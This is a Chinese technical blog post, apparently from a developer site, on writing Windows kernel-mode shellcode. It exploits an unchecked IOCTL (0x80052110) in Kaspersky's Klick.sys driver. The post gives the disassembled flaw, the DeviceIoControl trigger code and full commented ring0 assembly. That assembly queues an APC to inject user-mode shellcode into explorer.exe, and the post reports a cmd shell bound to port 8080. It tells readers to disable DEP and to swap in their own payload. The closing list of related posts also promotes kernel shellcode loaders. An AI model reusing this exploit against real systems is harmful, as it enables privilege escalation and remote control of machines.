从卡巴漏洞管窥内核模式Shellcode的编写

编写通用内核shellcode  一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0 最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本, 引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出, 为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取 system权限执行级别。 目前流传的利用程序,ring0 shellco 阅读详情
适合读者:溢出爱好者
前置知识:汇编语言、Windows内核基本原理

在用户态(Ring3)下存在的种种漏洞在内核态(Ring0)一样存在,并且有些漏洞在用户态下反而比较少见,比较典型的例子就是DeviceIOControl畸形参数这一类的漏洞。用户态的Exploit技术是内核Exploit技术的基础,假如连用户态下Exploit的一些概念还不是很清楚的话,建议读者先了解一下用户态的Exploit和Shellcode技术,这两者虽然相似,但是还是有很大的不同,在内核态下不像用户态下有丰富的API接口函数可供调用,并且要求也更高,一不小心就会导致蓝屏。网上有很多介绍驱动本地权限提升漏洞的文章,但对于写可用的Shellcode这个问题都回避了,这次我以卡巴NDIS-TDI Hook驱动(Klick.sys)的畸形参数漏洞为蓝本,详细讲述一下如何编写能在内核下运行的Shellcode,KIS/KAV 6.0.0.0-6.0.0.307均存在此漏洞,测试的时候注意版本。在开始之前,先来介绍一下要用到的背景知识。

背景知识
Kernel&Userland
386及以上的CPU实现了4个特权级模式(WINDOWS只用到了其中两个),其中特权级0(Ring0)是留给操作系统代码,设备驱动程序代码使用的,它们工作于系统核心态;而特权极3(Ring3)则给普通的用户程序使用,它们工作在用户态。运行于处理器核心态的代码不受任何的限制,可以自由地访问任何有效地址,进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查,它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址,且只能对任务状态段(TSS)中I/O许可位图(I/O Permission Bitmap)中规定的可访问端口进行直接访问(此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0,指明当前可以进行直接I/O的最低特权级别是Ring0)。以上的讨论只限于保护模式操作系统,象DOS这种实模式操作系统则没有这些概念,其中的所有代码都可被看作运行在核心态。处理器模式从Ring3向Ring0的切换发生在控制权转移时,有以下两种情况:访问调用门的长转移指令CALL,访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换,不再赘述,请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务,通过执行一条陷入指令来完成模式切换,在INTEL X86上这条指令是INT,如在WIN9X下是INT30(保护模式回调),在Linux下是INT80,在WINNT/2000下是INT2E。用户模式的服务程序(如系统DLL)通过执行一个INTXX来请求系统服务,然后处理器模式将切换到核心态,工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。

NativeAPI
本机API是除了Win32 API,NT平台开放的另一个接口。本机API它运行在Ring0层,拥有没有限制的操作权限,因此微软出于安全考虑并没有发布支持这种应用的开发方法。Win32 API中的所有调用最终都转向了ntdll.dll,再由它转发至ntoskrnl.exe。ntdll.dll是本机 API用户模式的终端。真正的接口在ntoskrnl.exe里完成。事实上,内核模式的驱动大部分都在调用这个模块。Ntdll.dll的主要作用就是让内核函数的特定子集可以被用户模式下运行的程序调用。Ntdll.dll通过软件中断int 2Eh进入ntoskrnl.exe,也就是通过中断门切换CPU特权级。

Windows的APC机制
APC是“异步过程调用(Asyncroneus Procedure Call)”的缩写。从大体上说,Windows的APC机制相当于Linux的Signal机制,实质上是一种对于应用软件(线程)的“软件中断”机制。但是读者将会看到,APC机制至少在形式上与软件中断机制还是有相当的区别,而称之为“异步过程调用”确实更为贴切。APC与系统调用是密切连系在一起的,在这个意义上APC是系统调用界面的一部分。然而APC又与设备驱动有着很密切的关系。例如,ntddk.h中提供“写文件”系统调用ZwWriteFile()、即NtWriteFile()的调用接口:
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
这里有个参数ApcRoutine,这是一个函数指针。什么时候要用到这个指针呢?原来,文件操作有“同步”和“异步”之分。普通的写文件操作是同步写,启动这种操作的线程在内核进行写文件操作期间被“阻塞(blocked)”而进入“睡眠”,直到设备驱动完成了操作以后才又将该线程“唤醒”而从系统调用返回。但是,如果目标文件是按异步操作打开的,即在通过W32的API函数CreateFile()打开目标文件时把调用参数dwFlagsAndAttributes设置成FILE_FLAG_OVERLAPPED,那么调用者就不会被阻塞,而是把事情交给内核、不等实际的操作完成就返回了。但是此时要把ApcRoutine设置成指向某个APC函数。这样,当设备驱动完成实际的操作时,就会使调用者线程执行这个APC函数,就像是发生了一次中断。

漏洞分析
漏洞出现卡巴的NDIS-TDI Hook驱动(Klick.sys)中,该驱动在处理0x80052110号IO请求时未对参数进行足够的验证,导致非特权用户能够以Ring0权限执行任意代码,这种类似的漏洞已经暴露过不少,在定位问题代码的时候可以在IDA中直接以文本搜索80052110,问题代码如下:
.text:00011740         mov   [ebp+var_8], ebx
.text:00011743         jz   loc_11988
.text:00011749         cmp   eax, 80052108h
.text:0001174E         jz   loc_1195E
.text:00011754         cmp   eax, 8005210Ch
.text:00011759         jz   loc_1194A
.text:0001175F         cmp   eax, 80052110h
.text:00011764         jz   loc_117F8
此处代码是驱动的Dispatch例程中对IO代码处理的一个Switch Case判断,看看loc_117F8处的处理代码:
.text:000117F8 loc_117F8:               ; CODE XREF: sub_1172A+3Aj
.text:000117F8         mov   esi, [ebp+arg_4]
.text:000117FB         cmp   esi, ebx
.text:000117FD         jz   loc_119B0
.text:00011803         cmp   [ebp+arg_8], 8
.text:00011807         jb   loc_119B0
.text:0001180D         mov   eax, [ecx]
.text:0001180F         push  ebx
.text:00011810         call  dword ptr [eax+14h]
.text:00011813         mov   edi, eax
.text:00011815         cmp   edi, ebx
.text:00011817         jz   loc_1199F
.text:0001181D         mov   eax, [edi]
.text:0001181F         mov   ecx, edi
.text:00011821         call  dword ptr [eax+4]
.text:00011824         push  dword ptr [esi+4]
.text:00011827         mov   ecx, edi
.text:00011829         push  dword ptr [esi]
.text:0001182B         call  sub_15306
注意此时的 [ebp+arg_4]也就是esi是第二个参数,指向用户提交的lpInBuffer,请看DeviceIOControl的原型:
BOOL DeviceIoControl( HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped );
跟入sub_15306:
.text:00015306         push  ebp
.text:00015307         mov   ebp, esp
.text:00015309         sub   esp, 20h
.text:0001530C         push  ebx
.text:0001530D         push  esi
.text:0001530E         push  edi
.text:0001530F         mov   esi, ecx
.text:00015311         call  sub_1555A
.text:00015316         mov   ecx, [ebp+arg_4]
.text:00015319         lea   edi, [esi+10h]
.text:0001531C         mov   [esi+1ECh], ecx
.text:00015322         push  ecx
.text:00015323         lea   ecx, [esi+1B8h]
.text:00015329         mov   [esi+1F0h], eax
.text:0001532F         mov   [edi], eax
.text:00015331         mov   eax, [ebp+arg_0]
.text:00015334         push  ecx
.text:00015335         push  edi
.text:00015336         mov   [esi+1ACh], eax
.text:0001533C         call  eax //注意这一条语句,eax指向用户提交的参数
00015331处的语句将用户态下传进来的指针传到了eax寄存器,由于没有做任何参数的有效性检查,导致了可以执行任意代码。

Exploit编写
现在剩下的就是执行什么代码的问题了,只要把函数指针传递给通过DeviceIOControl传递给驱动即可,由于是Ring0权限,普通的Shellcode就不能用,这个时候我们就只能使用背景知识中介绍的本机API,大致实现的方案有两种:1.所有的功能都在内核态实现 2.在内核态向用户态插入代码。显然,第一种方法不太容易实现,这指的是功能较为复杂的Shellcode,例如:下载执行,绑定端口等等。只是权限提升的话网上已经有大牛给出了现成的代码。假如Shellcode较为复杂,第2种方法的优势就体现出来了,kernel下的Shellcode只是作为一个loader,负责将Ring3下的Shellcode插入到Ring3下的某个进程中。这儿我只介绍第2种方法的实现,POC代码是一个台湾的网友修改自一个老外的,不过里面有一些小Bug,在调试的过程中害得我蓝屏了无数次。触发漏洞的代码非常简单,只有聊聊数行:
hDevice = CreateFile("////.//KLICK",0,0,NULL,3,0,0);
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Shellcode;
dwIOCTL = 0x80052110;
DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8,(LPVOID)NULL,0,&junk, NULL);
可能有读者会问为什么InBuff的大小是8,在上面驱动的反汇编代码中就能找到答案。剩下就是编写Ring0Shellcode的问题了,Ring0Shellcode主要是完成几个功能:将Usermode的Shellcode拷贝到目标进程,初始化一个APC,将此APC插入到Ring3下的线程中,然后将驱动所在线程挂起,防止其继续执行导致蓝屏。用到的API函数有如下几个:ExAllocatePool、KeInitializeApc、KeInsertQueueApc、ZwYieldExecution、KeDelayExecutionThread。代码如下,为照顾初学者,已经加入了详细的注释:
void _declspec(naked) Ring0Shellcode()
{
//加入naked关键字是告诉编译器不要添加额外的建立栈帧等代码
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop

mov eax,fs:[0x124]  //TEB
mov esi,[eax+0x44] //EPROCESS
mov eax,esi

search:
mov eax,[eax+0x88]  //activeprocess
sub eax,0x88

/*cmp dword ptr[eax+0x84],0x4 EPROCESS_PID可以通过比较PID的方式找到System这个进程,这个是在提升进程权限为System的Shellcode中用到*/

cmp dword ptr[eax+0x174],'lpxe' //FileName explorer.exe
jne search

// mov ebx,dword ptr[eax+0xc8] system token*/
mov ebx,eax

lea esi,usermodeshellcode  //usermodeshellcode
mov ecx,0x1d6    // usermodeshellcode的大小是0x1d6
/*这儿利用了Ring3下的7FFE0000和Ring0下的FFDF0000指向同一物理内存,并且所有进程都可见这一发现*/
mov dword ptr[edi],0xffdf0800
push edi
mov edi,[edi]
rep movsb     //将Ring3Shellcode拷贝至共享内存0xffdf0800
pop edi

/*要通过APC机制激活Ring3下的线程需要该线程处于"Alertable Wait State",当且仅当该线程调用过以下函数并且bAlertable这个标志被设置为True的时候才会使其处于Wait状态:SleepEx,WaitForSingleObjectEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx*/
mov ecx,dword ptr[ebx+0x190]
finddelay:
mov ecx,[ecx]
cmp byte ptr[ecx-0x1ff],0x5 //1ff 指向该线程的状态 - state 0x5=wait
jnz finddelay    //循环查找所有线程

sub ecx,0x22c
mov ebp,ecx


push 0x30    //APC结构体的大小
push 0     //Nonpage申请不分页的内存
mov eax,ExAllocatePool  //ExAllocatePool申请内存
call eax     //call ExAllocatePool

mov esi,eax
xor edx,edx
push edx     //NULL
push 01     //UserMode
push eax     //User Mode routine
push edx     //NULL
mov eax,ZwYieldExecution //kernel routine ret
push eax     //Kernel Mode routine
push edx     //NULL
push ebp     //前面找到线程的ETHREAD
push esi     //APC object
mov eax,KeInitializeApc //initialize APC
call eax

xor ecx,ecx
xor edx,edx
xor eax,eax
push eax
push eax
push ebp     //ETHREAD
push esi     //APC Object
mov eax,KeInsertQueueApc
call eax

mov byte ptr[ebp+0x4a],0x1

push offset DelayTime
push 0
push 0
mov eax,KeDelayExecutionThread //使该线程进入睡眠状态
call eax

NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
因为这个漏洞是本地溢出,所以获得上述用到的API要简单的多,可以通过在触发漏洞前通过在用户态下LoadLibrary(ntkrnlpa),获得函数的偏移量+内核模块ntkrnlpa的基址的方法获得:
ExAllocatePool=(DWORD)GetProcAddress(base,"ExAllocatePool");
ExAllocatePool=(DWORD)((DWORD)ExAllocatePool - (DWORD)base+(DWORD)kbase);
内核模块ntkrnlpa的基址可以调用本机API NtQuerySystemInformation获得,也可以通过其它方法获得。如果是远程溢出的话就稍微要麻烦一点,需要找到ntkrnlpa的基址,分析其导出表来获得上述API函数的地址。原作者将类似ExAllocatePool这些变量都定义成int*型变量,在上述的计算中会导致某些API获得的地址不准确,让我蓝了很多次,后来在WinDBG下一调试,发现原来是函数的地址获得不对,郁闷啊。不知道是不是编译器不同产生的问题。另外在测试的时候有一点要注意,需要关闭DEP,如图1:

图1
DEP是数据执行保护,是XP SP2以后新推出的东西,也不知道为什么代码在7FFE0000它也会拦截,可能微软早就对这一区域作出了防范,也没有仔细去研究,当然,可以提前OpenProcess,再VitrualAllocEx申请某个地址的内存来绕过DEP,假如是远程溢出的话可能就比较麻烦了,有兴趣的读者可以试一下。再运行了kis.exe之后稍等片刻,可以看到我们的绑定cmd到8080端口的Shellcode已经成功执行了,如图2:

图2

总结
这是我第一次尝试写内核Exploit,前后大概调试了三四天,在Kernel的世界里,一个小小的错误都会导致蓝屏,害得我现在看到蓝屏就感到反胃,哈哈。这种通过Kernel Loader来执行Shellcode的方式是目前主流也是比较方便的一种实现,读者可以替换PoC中的Shellcode来实现自己想要的功能。对于传统的应用程序安全,大家都已经研究的比较透,而在Ring3下的一些软件安全问题到了Ring0下还是存在的,还没有引起大家足够的重视 
《0day 安全》-22章-内核漏洞利用技术 内核漏洞利用技术 22.1 利用实验之 exploitme.sys ​ 首先给出实验代码,这里的代码经过作者微小的修改,但是基本与书上一致,看懂这里的代码需要有一点驱动编程基础。 #include<ntddk.h> #define DEVICE_NAME L"\\Device\\ExploitMe" #define DEVICE_LINK L"\\DosDevices\\ExploitMe" #define FILE_DEVICE_EXPLOIT_ME 0x00008888 #define 阅读详情

相关推荐

shellcode注入驱动

避坑 | Windows驱动签名经验贴 - FreeBuf网络安全行业门户

SHELLCODE_8BIT的博客 2328

总结加载Shellcode的各种方式(更新中!)

异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。内核模式 APC:由内核代码发起,通常用于处理内核级别的异步操作,如异步 I/O 完成。用户模式 APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的 APC 队列中,以便在线程上下文中异步执行。

xf555er的博客 3567

kinject:内核Shellcode注入器

亲缘关系 内核Shellcode注入器 基本的 vs2019 + cpp + wdk 用法(仅64位) kdu -map sys.sys kinject -f shellcode_full_path -p pid

编写Windows Kernel Shellcode

网上流传的永恒之蓝漏洞利用代码中,关于内核shellcode部分,大部分都是利用APC注入的。 最近有个想法,直接利用内核代码执行权限,来写文件,于是就抄起了VS,开始写shellcode,开始以为和R3下面写shellcode一样简单… 新建个驱动的项目,按照下面修改项目的属性,然后动态获取API,再调API完成自己的功能。 // C/C++ // |-常规 // | |-调试信息格式:程序数...

Sven的忘却日记 1295

ANSYS workbench (关于normal stiffness factor接触刚度因子)

关于normal stiffness factor接触刚度因子的含义和设置方法

weixin_43730845的博客 6809

ARM的CI-700和Arteris的NoC对比

设计理念:CI-700注重于为移动和客户端SoC提供定制化的互连解决方案,而Arteris的NoC更侧重于提供灵活、可配置的网络互连技术,适用于多种应用场景。性能与功耗:CI-700通过系统级缓存和网状拓扑结构优化性能和功耗,而Arteris的NoC通过物理感知和多协议支持来提升性能和降低功耗。功能安全:Arteris的NoC提供了功能安全支持,这对于汽车和工业应用尤为重要,而CI-700虽然也关注安全性,但未明确提及功能安全支持。互操作性。

ygyglg的专栏 2625

执行shellcode的几种方式

首先写出汇编成功弹出计算器 #pragma comment(linker,"/section:.data,RWE") //data段可读写 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 #pragma comment(linker,"/INCREMENTAL:NO") //指...

qq_41683305的博客 5417

【开关】刀开关矩阵(Pole Switched Matrix)的结构讨论

矩阵主要有交叉点矩阵和树形矩阵两种矩阵结构。 交叉点矩阵是由SPST继电器排列成简单的网格形式的阵列组成;树形矩阵是由树形的多路复用模块组成,为需要高频RF带宽的应用提供解决方案。在搭建这些矩阵的同时,也限制了可提供的连接性。这也是为什么有的矩阵是简单的交叉点矩阵,而有的矩阵的交叉点中嵌入隔离继电器用来提供中间带宽的矩阵。 但是,Pickering Interfaces提供的另外一种矩阵类型其...

Tina的博客 4409

邪恶的RING0注射SHELLCODE

ZwCreateProcessEx 是个非常非常好的东西,虽然他是个UNDOC.但是如果你仔细阅读过WIN2K的SRC,并且非常了解PE的运行机制,你会发现一些很有趣的东西。这对目前的所有NT内核的系统来说都是致命的可以用来做什么1. 制造漏洞2. 提升权限3. 拿来写病毒4. 拿来写各种木马5. 各种ROOTKI但是这里我只想很简单的说一下原理。我只希望这样的东西只用来讨论而已,

1323

MaPLe: Multi-modal Prompt Learning

具体而言,我们在语言分支中附加可学习的上下文标记,并通过耦合函数显式地将视觉 Prompt 置于语言 Prompt 上,以建立它们之间的交互。使用 Prompt 来适应CLIP (语言或视觉) 的单个分支中的表示是次优的,因为它不允许在下游任务上动态调整两个表示空间的灵活性。由此,提出了一种分支感知的多模态 Prompt,通过在两种模态之间共享提示来协调 CLIP 的视觉和语言分支。在 Prompt Tuning 中,必须采取多模态方法获得同时适应 CLIP 的视觉和语言分支,以实现上下文优化的完整性。

weixin_48907099的博客 1054

Open3D KD-tree的使用【2025最新版】

Open3d使用FLANN构建KDTree以便进行快速最近邻检索。博客长期更新,本文最近一次更新时间为:2025年1月1日,代码已同步更新至Open3D 0.18.0版本。

点云侠的博客 40万+

强力推荐:Kernel Shellcode Loader——内核级代码加载利器

强力推荐:Kernel Shellcode Loader——内核级代码加载利器 在深入探讨和掌握系统底层技术的道路上,FireEye FLARE团队带来了一款极具价值的工具——Kernel Shellcode Loader。通过这篇介绍,我们将揭开其神秘面纱,探讨其技术精髓,并展示如何利用这一强大工具,在安全研究和特定应用领域中大显身手。 项目介绍 Kernel Shellcode Loader是...

gitblog_01180的博客 414

使用 MATLAB/Simulink 对基于同步发电机的双机系统进行建模,并对其在短路故障条件下的暂态稳定性进行仿真和分析

双机系统(Two-Machine System)是电力系统中用于研究动态稳定性和控制策略的一个典型模型。它由两台同步发电机通过输电网络相互连接,模拟实际电网中的互联操作。当发生短路故障时,系统的暂态稳定性会受到挑战,可能导致发电机失步或电压崩溃。本教程将带你使用 MATLAB/Simulink 对基于同步发电机的双机系统进行建模,并对其在短路故障条件下的暂态稳定性进行仿真和分析。

amy_mhd的博客 8507

64位shellcode编程(不错) Windows x64 Shellcode

原文链接:http://mcdermottcybersecurity.com/articles/windows-x64-shellcode Windows x64 Shellcode January 11, 2011 Contents Introduction RIP-Relative Addressing API Lookup

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 4420

2025华为od机试真题B卷【版本管理】Python实现

在 软件版本管理中,版本号由点分割的数字组成,例如 1.2.3 和 2.8。现在,你需要编写一个函数,计算两个版本号之间的可用版本号个数。这里的可用版本号指的是所有满足 version1<x<version2的版本号x的个数。若 version1 >=version2 返回0.,

MISAYAONE的博客 644

opencv 双目摄像头拍照(分别左右镜头拍照)

准备一个usb线的双目同步摄像头: 运行环境是vc2015,opencv3.1。 将左右两个摄像头拍到的图片分别保存起来。 1)适用条件 双目同步摄像头(两个镜头,共用一个设备ID) 使用语言:C++ 、opencv库 摄像头 分辨率2560*960 或以上。 源程序: #include"stdafx.h" #include<iostream&g...

黎国溥 1万+

【原创】内核ShellCode注入的一种方法

标 题: 【原创】内核ShellCode注入的一种方法 作 者: organic 时 间: 2013-05-04,04:34:08 链 接: http://bbs.pediy.com/showthread.php?t=170959 最近学习内核注入,看见一篇老文章《rootk...

715

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

使用C编译器编写shellcode

准备工作 为了确保能生成可用作shellcode这样特定格式的代码,我们需要对Visual Studio做些特殊的配置。下面的各项配置,可能随编译器的变更而变更: 1、使用Release模式。近来编译器的Debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。 2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。 3、禁用栈缓冲区安全检查(

ooyyee的专栏 1304

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

卡巴斯基发布操作系统Kaspersky OS

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33735077的博客 254

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Windows内核Shellcode获取ntoskrnl.exe基址

使用NASM编译以下汇编代码 BITS 64 ORG 0 section .text global _start _start: push rbx mov rax,QWORD [gs:0x38] mov rax,QWORD [rax+0x4] shr rax,0xc shl rax,0xc _x64_find_nt_walk_page: mov rbx,QWORD [rax] ...

Sven的忘却日记 866

通用型ShellCode,加载指定DLL模块

利用通用型ShellCode加载指定Dll模块,并提取ShellCode字节码,调用ShellCode

逐天实验室 ( SCLB ) 4930

32触发注入过程_墨云 I 技术课堂 — 内核APC注入shellcode调试分析

背 景Shellcode是软件漏洞利用过程中的一小段机器代码,它被攻击者用来控制目标机器。Shellcode的编写这方面被讨论的不是太多,原因是好多shellcode都是现成的,我们直接拿过来用就行了。最近在研究内核漏洞利用时,发现内核漏洞利用的shellcode更多的是用来完成提权功能的,例如,一个ring3的程序触发漏洞之后执行内核shellcode,此时shellcode只是把r...

weixin_39678451的博客 748

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 197

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 105

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 212
上一篇: CMarkup定位解释——深入Markup分析器
下一篇: Vista Rootkit - Bypass Activation and Avoid DRM
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值